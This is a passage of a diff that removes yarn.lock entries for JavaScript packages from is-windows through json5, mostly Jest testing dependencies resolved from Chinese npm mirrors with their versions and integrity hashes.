-  integrity sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=
-
-is-windows@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/is-windows/download/is-windows-1.0.2.tgz#d1850eb9791ecd18e6182ce12a30f396634bb19d"
-  integrity sha1-0YUOuXkezRjmGCzhKjDzlmNLsZ0=
-
-is-wsl@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.npm.taobao.org/is-wsl/download/is-wsl-1.1.0.tgz#1f16e4aa22b04d1336b66188a66af3c600c3a66d"
-  integrity sha1-HxbkqiKwTRM2tmGIpmrzxgDDpm0=
-
-is-wsl@^2.1.1, is-wsl@^2.2.0:
-  version "2.2.0"
-  resolved "https://registry.npm.taobao.org/is-wsl/download/is-wsl-2.2.0.tgz#74a4c76e77ca9fd3f932f290c17ea326cd157271"
-  integrity sha1-dKTHbnfKn9P5MvKQwX6jJs0VcnE=
-  dependencies:
-    is-docker "^2.0.0"
-
-isarray@1.0.0, isarray@^1.0.0, isarray@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.nlark.com/isarray/download/isarray-1.0.0.tgz#bb935d48582cba168c06834957a54a3e07124f11"
-  integrity sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=
-
-isexe@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/isexe/download/isexe-2.0.0.tgz#e8fbf374dc556ff8947a10dcb0572d633f2cfa10"
-  integrity sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=
-
-isobject@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.npm.taobao.org/isobject/download/isobject-2.1.0.tgz#f065561096a3f1da2ef46272f815c840d87e0c89"
-  integrity sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=
-  dependencies:
-    isarray "1.0.0"
-
-isobject@^3.0.0, isobject@^3.0.1:
-  version "3.0.1"
-  resolved "https://registry.npm.taobao.org/isobject/download/isobject-3.0.1.tgz#4e431e92b11a9731636aa1f9c8d1ccbcfdab78df"
-  integrity sha1-TkMekrEalzFjaqH5yNHMvP2reN8=
-
-istanbul-lib-coverage@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/istanbul-lib-coverage/download/istanbul-lib-coverage-3.0.0.tgz#f5944a37c70b550b02a78a5c3b2055b280cec8ec"
-  integrity sha1-9ZRKN8cLVQsCp4pcOyBVsoDOyOw=
-
-istanbul-lib-instrument@^4.0.0, istanbul-lib-instrument@^4.0.3:
-  version "4.0.3"
-  resolved "https://registry.npm.taobao.org/istanbul-lib-instrument/download/istanbul-lib-instrument-4.0.3.tgz#873c6fff897450118222774696a3f28902d77c1d"
-  integrity sha1-hzxv/4l0UBGCIndGlqPyiQLXfB0=
-  dependencies:
-    "@babel/core" "^7.7.5"
-    "@istanbuljs/schema" "^0.1.2"
-    istanbul-lib-coverage "^3.0.0"
-    semver "^6.3.0"
-
-istanbul-lib-report@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/istanbul-lib-report/download/istanbul-lib-report-3.0.0.tgz#7518fe52ea44de372f460a76b5ecda9ffb73d8a6"
-  integrity sha1-dRj+UupE3jcvRgp2tezan/tz2KY=
-  dependencies:
-    istanbul-lib-coverage "^3.0.0"
-    make-dir "^3.0.0"
-    supports-color "^7.1.0"
-
-istanbul-lib-source-maps@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/istanbul-lib-source-maps/download/istanbul-lib-source-maps-4.0.0.tgz#75743ce6d96bb86dc7ee4352cf6366a23f0b1ad9"
-  integrity sha1-dXQ85tlruG3H7kNSz2Nmoj8LGtk=
-  dependencies:
-    debug "^4.1.1"
-    istanbul-lib-coverage "^3.0.0"
-    source-map "^0.6.1"
-
-istanbul-reports@^3.0.2:
-  version "3.0.2"
-  resolved "https://registry.npm.taobao.org/istanbul-reports/download/istanbul-reports-3.0.2.tgz#d593210e5000683750cb09fc0644e4b6e27fd53b"
-  integrity sha1-1ZMhDlAAaDdQywn8BkTktuJ/1Ts=
-  dependencies:
-    html-escaper "^2.0.0"
-    istanbul-lib-report "^3.0.0"
-
-jest-changed-files@^26.6.2:
-  version "26.6.2"
-  resolved "https://registry.nlark.com/jest-changed-files/download/jest-changed-files-26.6.2.tgz?cache=0&sync_timestamp=1622290056055&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-changed-files%2Fdownload%2Fjest-changed-files-26.6.2.tgz#f6198479e1cc66f22f9ae1e22acaa0b429c042d0"
-  integrity sha1-9hmEeeHMZvIvmuHiKsqgtCnAQtA=
-  dependencies:
-    "@jest/types" "^26.6.2"
-    execa "^4.0.0"
-    throat "^5.0.0"
-
-jest-circus@26.6.0:
-  version "26.6.0"
-  resolved "https://registry.nlark.com/jest-circus/download/jest-circus-26.6.0.tgz#7d9647b2e7f921181869faae1f90a2629fd70705"
-  integrity sha1-fZZHsuf5IRgYafquH5CiYp/XBwU=
-  dependencies:
-    "@babel/traverse" "^7.1.0"
-    "@jest/environment" "^26.6.0"
-    "@jest/test-result" "^26.6.0"
-    "@jest/types" "^26.6.0"
-    "@types/babel__traverse" "^7.0.4"
-    "@types/node" "*"
-    chalk "^4.0.0"
-    co "^4.6.0"
-    dedent "^0.7.0"
-    expect "^26.6.0"
-    is-generator-fn "^2.0.0"
-    jest-each "^26.6.0"
-    jest-matcher-utils "^26.6.0"
-    jest-message-util "^26.6.0"
-    jest-runner "^26.6.0"
-    jest-runtime "^26.6.0"
-    jest-snapshot "^26.6.0"
-    jest-util "^26.6.0"
-    pretty-format "^26.6.0"
-    stack-utils "^2.0.2"
-    throat "^5.0.0"
-
-jest-cli@^26.6.0:
-  version "26.6.3"
-  resolved "https://registry.nlark.com/jest-cli/download/jest-cli-26.6.3.tgz#43117cfef24bc4cd691a174a8796a532e135e92a"
-  integrity sha1-QxF8/vJLxM1pGhdKh5alMuE16So=
-  dependencies:
-    "@jest/core" "^26.6.3"
-    "@jest/test-result" "^26.6.2"
-    "@jest/types" "^26.6.2"
-    chalk "^4.0.0"
-    exit "^0.1.2"
-    graceful-fs "^4.2.4"
-    import-local "^3.0.2"
-    is-ci "^2.0.0"
-    jest-config "^26.6.3"
-    jest-util "^26.6.2"
-    jest-validate "^26.6.2"
-    prompts "^2.0.1"
-    yargs "^15.4.1"
-
-jest-config@^26.6.3:
-  version "26.6.3"
-  resolved "https://registry.nlark.com/jest-config/download/jest-config-26.6.3.tgz#64f41444eef9eb03dc51d5c53b75c8c71f645349"
-  integrity sha1-ZPQURO756wPcUdXFO3XIxx9kU0k=
-  dependencies:
-    "@babel/core" "^7.1.0"
-    "@jest/test-sequencer" "^26.6.3"
-    "@jest/types" "^26.6.2"
-    babel-jest "^26.6.3"
-    chalk "^4.0.0"
-    deepmerge "^4.2.2"
-    glob "^7.1.1"
-    graceful-fs "^4.2.4"
-    jest-environment-jsdom "^26.6.2"
-    jest-environment-node "^26.6.2"
-    jest-get-type "^26.3.0"
-    jest-jasmine2 "^26.6.3"
-    jest-regex-util "^26.0.0"
-    jest-resolve "^26.6.2"
-    jest-util "^26.6.2"
-    jest-validate "^26.6.2"
-    micromatch "^4.0.2"
-    pretty-format "^26.6.2"
-
-jest-diff@^26.0.0, jest-diff@^26.6.2:
-  version "26.6.2"
-  resolved "https://registry.nlark.com/jest-diff/download/jest-diff-26.6.2.tgz#1aa7468b52c3a68d7d5c5fdcdfcd5e49bd164394"
-  integrity sha1-GqdGi1LDpo19XF/c381eSb0WQ5Q=
-  dependencies:
-    chalk "^4.0.0"
-    diff-sequences "^26.6.2"
-    jest-get-type "^26.3.0"
-    pretty-format "^26.6.2"
-
-jest-docblock@^26.0.0:
-  version "26.0.0"
-  resolved "https://registry.nlark.com/jest-docblock/download/jest-docblock-26.0.0.tgz?cache=0&sync_timestamp=1621937262334&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-docblock%2Fdownload%2Fjest-docblock-26.0.0.tgz#3e2fa20899fc928cb13bd0ff68bd3711a36889b5"
-  integrity sha1-Pi+iCJn8koyxO9D/aL03EaNoibU=
-  dependencies:
-    detect-newline "^3.0.0"
-
-jest-each@^26.6.0, jest-each@^26.6.2:
-  version "26.6.2"
-  resolved "https://registry.nlark.com/jest-each/download/jest-each-26.6.2.tgz#02526438a77a67401c8a6382dfe5999952c167cb"
-  integrity sha1-AlJkOKd6Z0AcimOC3+WZmVLBZ8s=
-  dependencies:
-    "@jest/types" "^26.6.2"
-    chalk "^4.0.0"
-    jest-get-type "^26.3.0"
-    jest-util "^26.6.2"
-    pretty-format "^26.6.2"
-
-jest-environment-jsdom@^26.6.2:
-  version "26.6.2"
-  resolved "https://registry.nlark.com/jest-environment-jsdom/download/jest-environment-jsdom-26.6.2.tgz#78d09fe9cf019a357009b9b7e1f101d23bd1da3e"
-  integrity sha1-eNCf6c8BmjVwCbm34fEB0jvR2j4=
-  dependencies:
-    "@jest/environment" "^26.6.2"
-    "@jest/fake-timers" "^26.6.2"
-    "@jest/types" "^26.6.2"
-    "@types/node" "*"
-    jest-mock "^26.6.2"
-    jest-util "^26.6.2"
-    jsdom "^16.4.0"
-
-jest-environment-node@^26.6.2:
-  version "26.6.2"
-  resolved "https://registry.nlark.com/jest-environment-node/download/jest-environment-node-26.6.2.tgz#824e4c7fb4944646356f11ac75b229b0035f2b0c"
-  integrity sha1-gk5Mf7SURkY1bxGsdbIpsANfKww=
-  dependencies:
-    "@jest/environment" "^26.6.2"
-    "@jest/fake-timers" "^26.6.2"
-    "@jest/types" "^26.6.2"
-    "@types/node" "*"
-    jest-mock "^26.6.2"
-    jest-util "^26.6.2"
-
-jest-get-type@^26.3.0:
-  version "26.3.0"
-  resolved "https://registry.nlark.com/jest-get-type/download/jest-get-type-26.3.0.tgz?cache=0&sync_timestamp=1621937309906&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-get-type%2Fdownload%2Fjest-get-type-26.3.0.tgz#e97dc3c3f53c2b406ca7afaed4493b1d099199e0"
-  integrity sha1-6X3Dw/U8K0Bsp6+u1Ek7HQmRmeA=
-
-jest-haste-map@^26.6.2:
-  version "26.6.2"
-  resolved "https://registry.nlark.com/jest-haste-map/download/jest-haste-map-26.6.2.tgz#dd7e60fe7dc0e9f911a23d79c5ff7fb5c2cafeaa"
-  integrity sha1-3X5g/n3A6fkRoj15xf9/tcLK/qo=
-  dependencies:
-    "@jest/types" "^26.6.2"
-    "@types/graceful-fs" "^4.1.2"
-    "@types/node" "*"
-    anymatch "^3.0.3"
-    fb-watchman "^2.0.0"
-    graceful-fs "^4.2.4"
-    jest-regex-util "^26.0.0"
-    jest-serializer "^26.6.2"
-    jest-util "^26.6.2"
-    jest-worker "^26.6.2"
-    micromatch "^4.0.2"
-    sane "^4.0.3"
-    walker "^1.0.7"
-  optionalDependencies:
-    fsevents "^2.1.2"
-
-jest-jasmine2@^26.6.3:
-  version "26.6.3"
-  resolved "https://registry.nlark.com/jest-jasmine2/download/jest-jasmine2-26.6.3.tgz?cache=0&sync_timestamp=1622709024575&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-jasmine2%2Fdownload%2Fjest-jasmine2-26.6.3.tgz#adc3cf915deacb5212c93b9f3547cd12958f2edd"
-  integrity sha1-rcPPkV3qy1ISyTufNUfNEpWPLt0=
-  dependencies:
-    "@babel/traverse" "^7.1.0"
-    "@jest/environment" "^26.6.2"
-    "@jest/source-map" "^26.6.2"
-    "@jest/test-result" "^26.6.2"
-    "@jest/types" "^26.6.2"
-    "@types/node" "*"
-    chalk "^4.0.0"
-    co "^4.6.0"
-    expect "^26.6.2"
-    is-generator-fn "^2.0.0"
-    jest-each "^26.6.2"
-    jest-matcher-utils "^26.6.2"
-    jest-message-util "^26.6.2"
-    jest-runtime "^26.6.3"
-    jest-snapshot "^26.6.2"
-    jest-util "^26.6.2"
-    pretty-format "^26.6.2"
-    throat "^5.0.0"
-
-jest-leak-detector@^26.6.2:
-  version "26.6.2"
-  resolved "https://registry.nlark.com/jest-leak-detector/download/jest-leak-detector-26.6.2.tgz?cache=0&sync_timestamp=1622290219471&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-leak-detector%2Fdownload%2Fjest-leak-detector-26.6.2.tgz#7717cf118b92238f2eba65054c8a0c9c653a91af"
-  integrity sha1-dxfPEYuSI48uumUFTIoMnGU6ka8=
-  dependencies:
-    jest-get-type "^26.3.0"
-    pretty-format "^26.6.2"
-
-jest-matcher-utils@^26.6.0, jest-matcher-utils@^26.6.2:
-  version "26.6.2"
-  resolved "https://registry.nlark.com/jest-matcher-utils/download/jest-matcher-utils-26.6.2.tgz?cache=0&sync_timestamp=1622290217387&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-matcher-utils%2Fdownload%2Fjest-matcher-utils-26.6.2.tgz#8e6fd6e863c8b2d31ac6472eeb237bc595e53e7a"
-  integrity sha1-jm/W6GPIstMaxkcu6yN7xZXlPno=
-  dependencies:
-    chalk "^4.0.0"
-    jest-diff "^26.6.2"
-    jest-get-type "^26.3.0"
-    pretty-format "^26.6.2"
-
-jest-message-util@^26.6.0, jest-message-util@^26.6.2:
-  version "26.6.2"
-  resolved "https://registry.nlark.com/jest-message-util/download/jest-message-util-26.6.2.tgz#58173744ad6fc0506b5d21150b9be56ef001ca07"
-  integrity sha1-WBc3RK1vwFBrXSEVC5vlbvABygc=
-  dependencies:
-    "@babel/code-frame" "^7.0.0"
-    "@jest/types" "^26.6.2"
-    "@types/stack-utils" "^2.0.0"
-    chalk "^4.0.0"
-    graceful-fs "^4.2.4"
-    micromatch "^4.0.2"
-    pretty-format "^26.6.2"
-    slash "^3.0.0"
-    stack-utils "^2.0.2"
-
-jest-mock@^26.6.2:
-  version "26.6.2"
-  resolved "https://registry.nlark.com/jest-mock/download/jest-mock-26.6.2.tgz#d6cb712b041ed47fe0d9b6fc3474bc6543feb302"
-  integrity sha1-1stxKwQe1H/g2bb8NHS8ZUP+swI=
-  dependencies:
-    "@jest/types" "^26.6.2"
-    "@types/node" "*"
-
-jest-pnp-resolver@^1.2.2:
-  version "1.2.2"
-  resolved "https://registry.npm.taobao.org/jest-pnp-resolver/download/jest-pnp-resolver-1.2.2.tgz#b704ac0ae028a89108a4d040b3f919dfddc8e33c"
-  integrity sha1-twSsCuAoqJEIpNBAs/kZ393I4zw=
-
-jest-regex-util@^26.0.0:
-  version "26.0.0"
-  resolved "https://registry.nlark.com/jest-regex-util/download/jest-regex-util-26.0.0.tgz?cache=0&sync_timestamp=1621937257750&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-regex-util%2Fdownload%2Fjest-regex-util-26.0.0.tgz#d25e7184b36e39fd466c3bc41be0971e821fee28"
-  integrity sha1-0l5xhLNuOf1GbDvEG+CXHoIf7ig=
-
-jest-resolve-dependencies@^26.6.3:
-  version "26.6.3"
-  resolved "https://registry.nlark.com/jest-resolve-dependencies/download/jest-resolve-dependencies-26.6.3.tgz?cache=0&sync_timestamp=1622709025279&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-resolve-dependencies%2Fdownload%2Fjest-resolve-dependencies-26.6.3.tgz#6680859ee5d22ee5dcd961fe4871f59f4c784fb6"
-  integrity sha1-ZoCFnuXSLuXc2WH+SHH1n0x4T7Y=
-  dependencies:
-    "@jest/types" "^26.6.2"
-    jest-regex-util "^26.0.0"
-    jest-snapshot "^26.6.2"
-
-jest-resolve@26.6.0:
-  version "26.6.0"
-  resolved "https://registry.nlark.com/jest-resolve/download/jest-resolve-26.6.0.tgz?cache=0&sync_timestamp=1622709020612&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-resolve%2Fdownload%2Fjest-resolve-26.6.0.tgz#070fe7159af87b03e50f52ea5e17ee95bbee40e1"
-  integrity sha1-Bw/nFZr4ewPlD1LqXhfulbvuQOE=
-  dependencies:
-    "@jest/types" "^26.6.0"
-    chalk "^4.0.0"
-    graceful-fs "^4.2.4"
-    jest-pnp-resolver "^1.2.2"
-    jest-util "^26.6.0"
-    read-pkg-up "^7.0.1"
-    resolve "^1.17.0"
-    slash "^3.0.0"
-
-jest-resolve@^26.6.2:
-  version "26.6.2"
-  resolved "https://registry.nlark.com/jest-resolve/download/jest-resolve-26.6.2.tgz?cache=0&sync_timestamp=1622709020612&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-resolve%2Fdownload%2Fjest-resolve-26.6.2.tgz#a3ab1517217f469b504f1b56603c5bb541fbb507"
-  integrity sha1-o6sVFyF/RptQTxtWYDxbtUH7tQc=
-  dependencies:
-    "@jest/types" "^26.6.2"
-    chalk "^4.0.0"
-    graceful-fs "^4.2.4"
-    jest-pnp-resolver "^1.2.2"
-    jest-util "^26.6.2"
-    read-pkg-up "^7.0.1"
-    resolve "^1.18.1"
-    slash "^3.0.0"
-
-jest-runner@^26.6.0, jest-runner@^26.6.3:
-  version "26.6.3"
-  resolved "https://registry.nlark.com/jest-runner/download/jest-runner-26.6.3.tgz?cache=0&sync_timestamp=1622709026089&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-runner%2Fdownload%2Fjest-runner-26.6.3.tgz#2d1fed3d46e10f233fd1dbd3bfaa3fe8924be159"
-  integrity sha1-LR/tPUbhDyM/0dvTv6o/6JJL4Vk=
-  dependencies:
-    "@jest/console" "^26.6.2"
-    "@jest/environment" "^26.6.2"
-    "@jest/test-result" "^26.6.2"
-    "@jest/types" "^26.6.2"
-    "@types/node" "*"
-    chalk "^4.0.0"
-    emittery "^0.7.1"
-    exit "^0.1.2"
-    graceful-fs "^4.2.4"
-    jest-config "^26.6.3"
-    jest-docblock "^26.0.0"
-    jest-haste-map "^26.6.2"
-    jest-leak-detector "^26.6.2"
-    jest-message-util "^26.6.2"
-    jest-resolve "^26.6.2"
-    jest-runtime "^26.6.3"
-    jest-util "^26.6.2"
-    jest-worker "^26.6.2"
-    source-map-support "^0.5.6"
-    throat "^5.0.0"
-
-jest-runtime@^26.6.0, jest-runtime@^26.6.3:
-  version "26.6.3"
-  resolved "https://registry.nlark.com/jest-runtime/download/jest-runtime-26.6.3.tgz?cache=0&sync_timestamp=1622709022632&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-runtime%2Fdownload%2Fjest-runtime-26.6.3.tgz#4f64efbcfac398331b74b4b3c82d27d401b8fa2b"
-  integrity sha1-T2TvvPrDmDMbdLSzyC0n1AG4+is=
-  dependencies:
-    "@jest/console" "^26.6.2"
-    "@jest/environment" "^26.6.2"
-    "@jest/fake-timers" "^26.6.2"
-    "@jest/globals" "^26.6.2"
-    "@jest/source-map" "^26.6.2"
-    "@jest/test-result" "^26.6.2"
-    "@jest/transform" "^26.6.2"
-    "@jest/types" "^26.6.2"
-    "@types/yargs" "^15.0.0"
-    chalk "^4.0.0"
-    cjs-module-lexer "^0.6.0"
-    collect-v8-coverage "^1.0.0"
-    exit "^0.1.2"
-    glob "^7.1.3"
-    graceful-fs "^4.2.4"
-    jest-config "^26.6.3"
-    jest-haste-map "^26.6.2"
-    jest-message-util "^26.6.2"
-    jest-mock "^26.6.2"
-    jest-regex-util "^26.0.0"
-    jest-resolve "^26.6.2"
-    jest-snapshot "^26.6.2"
-    jest-util "^26.6.2"
-    jest-validate "^26.6.2"
-    slash "^3.0.0"
-    strip-bom "^4.0.0"
-    yargs "^15.4.1"
-
-jest-serializer@^26.6.2:
-  version "26.6.2"
-  resolved "https://registry.nlark.com/jest-serializer/download/jest-serializer-26.6.2.tgz?cache=0&sync_timestamp=1621937211347&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-serializer%2Fdownload%2Fjest-serializer-26.6.2.tgz#d139aafd46957d3a448f3a6cdabe2919ba0742d1"
-  integrity sha1-0Tmq/UaVfTpEjzps2r4pGboHQtE=
-  dependencies:
-    "@types/node" "*"
-    graceful-fs "^4.2.4"
-
-jest-snapshot@^26.6.0, jest-snapshot@^26.6.2:
-  version "26.6.2"
-  resolved "https://registry.nlark.com/jest-snapshot/download/jest-snapshot-26.6.2.tgz?cache=0&sync_timestamp=1622709023497&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-snapshot%2Fdownload%2Fjest-snapshot-26.6.2.tgz#f3b0af1acb223316850bd14e1beea9837fb39c84"
-  integrity sha1-87CvGssiMxaFC9FOG+6pg3+znIQ=
-  dependencies:
-    "@babel/types" "^7.0.0"
-    "@jest/types" "^26.6.2"
-    "@types/babel__traverse" "^7.0.4"
-    "@types/prettier" "^2.0.0"
-    chalk "^4.0.0"
-    expect "^26.6.2"
-    graceful-fs "^4.2.4"
-    jest-diff "^26.6.2"
-    jest-get-type "^26.3.0"
-    jest-haste-map "^26.6.2"
-    jest-matcher-utils "^26.6.2"
-    jest-message-util "^26.6.2"
-    jest-resolve "^26.6.2"
-    natural-compare "^1.4.0"
-    pretty-format "^26.6.2"
-    semver "^7.3.2"
-
-jest-util@^26.6.0, jest-util@^26.6.2:
-  version "26.6.2"
-  resolved "https://registry.nlark.com/jest-util/download/jest-util-26.6.2.tgz?cache=0&sync_timestamp=1622290048969&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-util%2Fdownload%2Fjest-util-26.6.2.tgz#907535dbe4d5a6cb4c47ac9b926f6af29576cbc1"
-  integrity sha1-kHU12+TVpstMR6ybkm9q8pV2y8E=
-  dependencies:
-    "@jest/types" "^26.6.2"
-    "@types/node" "*"
-    chalk "^4.0.0"
-    graceful-fs "^4.2.4"
-    is-ci "^2.0.0"
-    micromatch "^4.0.2"
-
-jest-validate@^26.6.2:
-  version "26.6.2"
-  resolved "https://registry.nlark.com/jest-validate/download/jest-validate-26.6.2.tgz#23d380971587150467342911c3d7b4ac57ab20ec"
-  integrity sha1-I9OAlxWHFQRnNCkRw9e0rFerIOw=
-  dependencies:
-    "@jest/types" "^26.6.2"
-    camelcase "^6.0.0"
-    chalk "^4.0.0"
-    jest-get-type "^26.3.0"
-    leven "^3.1.0"
-    pretty-format "^26.6.2"
-
-jest-watch-typeahead@0.6.1:
-  version "0.6.1"
-  resolved "https://registry.nlark.com/jest-watch-typeahead/download/jest-watch-typeahead-0.6.1.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-watch-typeahead%2Fdownload%2Fjest-watch-typeahead-0.6.1.tgz#45221b86bb6710b7e97baaa1640ae24a07785e63"
-  integrity sha1-RSIbhrtnELfpe6qhZAriSgd4XmM=
-  dependencies:
-    ansi-escapes "^4.3.1"
-    chalk "^4.0.0"
-    jest-regex-util "^26.0.0"
-    jest-watcher "^26.3.0"
-    slash "^3.0.0"
-    string-length "^4.0.1"
-    strip-ansi "^6.0.0"
-
-jest-watcher@^26.3.0, jest-watcher@^26.6.2:
-  version "26.6.2"
-  resolved "https://registry.nlark.com/jest-watcher/download/jest-watcher-26.6.2.tgz#a5b683b8f9d68dbcb1d7dae32172d2cca0592975"
-  integrity sha1-pbaDuPnWjbyx19rjIXLSzKBZKXU=
-  dependencies:
-    "@jest/test-result" "^26.6.2"
-    "@jest/types" "^26.6.2"
-    "@types/node" "*"
-    ansi-escapes "^4.2.1"
-    chalk "^4.0.0"
-    jest-util "^26.6.2"
-    string-length "^4.0.1"
-
-jest-worker@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/jest-worker/download/jest-worker-24.9.0.tgz#5dbfdb5b2d322e98567898238a9697bcce67b3e5"
-  integrity sha1-Xb/bWy0yLphWeJgjipaXvM5ns+U=
-  dependencies:
-    merge-stream "^2.0.0"
-    supports-color "^6.1.0"
-
-jest-worker@^26.5.0, jest-worker@^26.6.2:
-  version "26.6.2"
-  resolved "https://registry.nlark.com/jest-worker/download/jest-worker-26.6.2.tgz#7f72cbc4d643c365e27b9fd775f9d0eaa9c7a8ed"
-  integrity sha1-f3LLxNZDw2Xie5/XdfnQ6qnHqO0=
-  dependencies:
-    "@types/node" "*"
-    merge-stream "^2.0.0"
-    supports-color "^7.0.0"
-
-jest@26.6.0:
-  version "26.6.0"
-  resolved "https://registry.nlark.com/jest/download/jest-26.6.0.tgz?cache=0&sync_timestamp=1622709000600&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest%2Fdownload%2Fjest-26.6.0.tgz#546b25a1d8c888569dbbe93cae131748086a4a25"
-  integrity sha1-VGslodjIiFadu+k8rhMXSAhqSiU=
-  dependencies:
-    "@jest/core" "^26.6.0"
-    import-local "^3.0.2"
-    jest-cli "^26.6.0"
-
-"js-tokens@^3.0.0 || ^4.0.0", js-tokens@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.nlark.com/js-tokens/download/js-tokens-4.0.0.tgz#19203fb59991df98e3a287050d4647cdeaf32499"
-  integrity sha1-GSA/tZmR35jjoocFDUZHzerzJJk=
-
-js-yaml@^3.13.1:
-  version "3.14.1"
-  resolved "https://registry.npm.taobao.org/js-yaml/download/js-yaml-3.14.1.tgz?cache=0&sync_timestamp=1618434911653&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fjs-yaml%2Fdownload%2Fjs-yaml-3.14.1.tgz#dae812fdb3825fa306609a8717383c50c36a0537"
-  integrity sha1-2ugS/bOCX6MGYJqHFzg8UMNqBTc=
-  dependencies:
-    argparse "^1.0.7"
-    esprima "^4.0.0"
-
-jsdom@^16.4.0:
-  version "16.6.0"
-  resolved "https://registry.nlark.com/jsdom/download/jsdom-16.6.0.tgz?cache=0&sync_timestamp=1621799667999&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjsdom%2Fdownload%2Fjsdom-16.6.0.tgz#f79b3786682065492a3da6a60a4695da983805ac"
-  integrity sha1-95s3hmggZUkqPaamCkaV2pg4Baw=
-  dependencies:
-    abab "^2.0.5"
-    acorn "^8.2.4"
-    acorn-globals "^6.0.0"
-    cssom "^0.4.4"
-    cssstyle "^2.3.0"
-    data-urls "^2.0.0"
-    decimal.js "^10.2.1"
-    domexception "^2.0.1"
-    escodegen "^2.0.0"
-    form-data "^3.0.0"
-    html-encoding-sniffer "^2.0.1"
-    http-proxy-agent "^4.0.1"
-    https-proxy-agent "^5.0.0"
-    is-potential-custom-element-name "^1.0.1"
-    nwsapi "^2.2.0"
-    parse5 "6.0.1"
-    saxes "^5.0.1"
-    symbol-tree "^3.2.4"
-    tough-cookie "^4.0.0"
-    w3c-hr-time "^1.0.2"
-    w3c-xmlserializer "^2.0.0"
-    webidl-conversions "^6.1.0"
-    whatwg-encoding "^1.0.5"
-    whatwg-mimetype "^2.3.0"
-    whatwg-url "^8.5.0"
-    ws "^7.4.5"
-    xml-name-validator "^3.0.0"
-
-jsesc@^2.5.1:
-  version "2.5.2"
-  resolved "https://registry.npm.taobao.org/jsesc/download/jsesc-2.5.2.tgz?cache=0&sync_timestamp=1603891242793&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fjsesc%2Fdownload%2Fjsesc-2.5.2.tgz#80564d2e483dacf6e8ef209650a67df3f0c283a4"
-  integrity sha1-gFZNLkg9rPbo7yCWUKZ98/DCg6Q=
-
-jsesc@~0.5.0:
-  version "0.5.0"
-  resolved "https://registry.npm.taobao.org/jsesc/download/jsesc-0.5.0.tgz?cache=0&sync_timestamp=1603891242793&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fjsesc%2Fdownload%2Fjsesc-0.5.0.tgz#e7dee66e35d6fc16f710fe91d5cf69f70f08911d"
-  integrity sha1-597mbjXW/Bb3EP6R1c9p9w8IkR0=
-
-json-parse-better-errors@^1.0.1, json-parse-better-errors@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/json-parse-better-errors/download/json-parse-better-errors-1.0.2.tgz#bb867cfb3450e69107c131d1c514bab3dc8bcaa9"
-  integrity sha1-u4Z8+zRQ5pEHwTHRxRS6s9yLyqk=
-
-json-parse-even-better-errors@^2.3.0:
-  version "2.3.1"
-  resolved "https://registry.npm.taobao.org/json-parse-even-better-errors/download/json-parse-even-better-errors-2.3.1.tgz#7c47805a94319928e05777405dc12e1f7a4ee02d"
-  integrity sha1-fEeAWpQxmSjgV3dAXcEuH3pO4C0=
-
-json-schema-traverse@^0.4.1:
-  version "0.4.1"
-  resolved "https://registry.npm.taobao.org/json-schema-traverse/download/json-schema-traverse-0.4.1.tgz#69f6a87d9513ab8bb8fe63bdb0979c448e684660"
-  integrity sha1-afaofZUTq4u4/mO9sJecRI5oRmA=
-
-json-schema-traverse@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/json-schema-traverse/download/json-schema-traverse-1.0.0.tgz#ae7bcb3656ab77a73ba5c49bf654f38e6b6860e2"
-  integrity sha1-rnvLNlard6c7pcSb9lTzjmtoYOI=
-
-json-stable-stringify-without-jsonify@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/json-stable-stringify-without-jsonify/download/json-stable-stringify-without-jsonify-1.0.1.tgz#9db7b59496ad3f3cfef30a75142d2d930ad72651"
-  integrity sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE=
-
-json3@^3.3.3:
-  version "3.3.3"
-  resolved "https://registry.npm.taobao.org/json3/download/json3-3.3.3.tgz#7fc10e375fc5ae42c4705a5cc0aa6f62be305b81"
-  integrity sha1-f8EON1/FrkLEcFpcwKpvYr4wW4E=
-
-json5@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/json5/download/json5-1.0.1.tgz#779fb0018604fa854eacbf6252180d83543e3dbe"
-  integrity sha1-d5+wAYYE+oVOrL9iUhgNg1Q+Pb4=
-  dependencies:
-    minimist "^1.2.0"
-
-json5@^2.1.2:
-  version "2.2.0"
-  resolved "https://registry.npm.taobao.org/json5/download/json5-2.2.0.tgz#2dfefe720c6ba525d9ebd909950f0515316c89a3"
